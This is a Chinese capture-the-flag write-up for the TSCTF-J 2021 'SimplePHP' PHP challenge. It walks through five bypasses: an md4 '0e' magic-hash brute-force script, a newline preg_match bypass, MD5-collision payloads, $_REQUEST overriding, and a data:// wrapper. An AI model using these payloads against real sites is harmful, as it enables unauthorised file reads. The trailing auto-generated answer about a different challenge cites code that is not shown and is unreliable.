TSCTF-J 2021 [SimplePHP]

一、题目

 

 进来看到的代码如下:

<?php
highlight_file(__FILE__);
if ($_GET["secret"] != hash("md4", $_GET["secret"])) {
    die('乐<br>');
}

if (!preg_match('/http/i', $_GET['file'])) {
    if (preg_match('/^i_am_bloodhound$/', $_GET['name']) && $_GET['name'] !== 'i_am_bloodhound') {
        $file = $_GET["file"];
        echo "我是布洛特亨德尔!<br>";
    }
} else {
    die("?");
}

if ((string)$_GET['s1'] !== (string)$_GET['s2'] && md5($_GET['s1']) === md5($_GET['s2'])) {
    echo "众神之父赐予我视野<br>";
} else {
    die("众神之父赐予我重伤倒地<br>");
}

if ($_REQUEST) {
    foreach ($_REQUEST as $value) {
        if (preg_match('/[a-zA-Z]/i', $value))
            die('众神之父不喜欢英文<br>');
    }
}

if (file_get_contents($file) !== 'phoniex_kit') {
    die("我重伤倒地");
}

var_dump(file_get_contents("/flag"));

 这里可以看到有五个if判断,那么就一层一层地绕过罢

二、解题

第一层:

if ($_GET["secret"] != hash("md4", $_GET["secret"]))

 这里要求我们传入的$secret的值等于经过md4的hash之后的值,那显然输入一般的字符串不可能

0e开头的字符串在参与比较时,会被当做科学计数法,结果转换为0

那么我们传入的secret以0e开头,后面跟数字,且经md4后开头仍然是0e的就满足条件

脚本如下:

<?php
for($a=1;$a<=1000000000;$a++){
    $b='0e'.$a;
    $c=(substr(hash("md4",$b),2));//取后面满足数字
    $d=(substr(hash("md4",$b),0,true).substr(hash("md4",$b),1,true));//取前面满足是0e
    if($d==='0e'){
        if(ctype_digit($c)){//is_numeric()函数是有漏洞。用ctype_digit();
                echo $b."success";
                break;
        }else{
            echo "fail";
        }
    }
}

参考:https://blog.csdn.net/qq_46091464/article/details/108190466

 输出的0e251288019刚好满足

get传入后绕过成功

第二层:

if (!preg_match('/http/i', $_GET['file'])) {
   if (preg_match('/^i_am_bloodhound$/', $_GET['name']) && $_GET['name'] !==         
        'i_am_bloodhound') {

 preg_match检测不了数组,所以直接传file[]就能绕过

而/^字符串$/这种类型的,无法检测句末的换行符,编码后即 %0a

name=i_am_bloodhound%0a

第三层:

if ((string)$_GET['s1'] !== (string)$_GET['s2'] && md5($_GET['s1']) === md5($_GET['s2']))

这是这个题最难的地方,强类型绕过

s1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&s2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

可以参考安洵杯19年的那个题,应该是MD5碰撞了

第四层:

if ($_REQUEST)

$_REQUEST变量能获得GET或者POST的参数,而如果通过不同的方式获得相同变量的不同值,只会获得最后传入的值,这里我们可以把GET里传的参再用POST传一遍,覆盖掉

 第五层:

if (file_get_contents($file) !== 'phoniex_kit') 

 看到file_get_contents了,直接用伪协议绕过即可

file=data://text/plain,%70%68%6f%6e%69%65%78%5f%6b%69%74

拿到flag 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: \[1\]中的代码片段是一个PHP代码示例,其中定义了三个类C1e4r、Show和Test,并创建了相应的对象。\[2\]中的代码片段是一个PHP文件,它包含了一些文件操作和类的实例化。\[3\]中的代码片段是一个POC(Proof of Concept)示例,用于演示一个可能的漏洞利用场景。根据提供的信息,这个问题可能是关于SWPUCTF 2018比赛中的一个题目,题目名称为"SimplePHP"。然而,由于提供的引用内容不完整,无法给出更具体的答案。如果您有关于这个问题的更多信息,请提供更多的上下文,以便我能够更好地回答您的问题。 #### 引用[.reference_title] - *1* [[SWPUCTF 2018]SimplePHP_wp](https://blog.csdn.net/lzu_lfl/article/details/127802053)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [[SWPUCTF 2018]SimplePHP](https://blog.csdn.net/shinygod/article/details/124002143)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [[SWPUCTF 2018]SimplePHP--一道简单的Phar反序列化题目](https://blog.csdn.net/qq_41401434/article/details/125323752)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值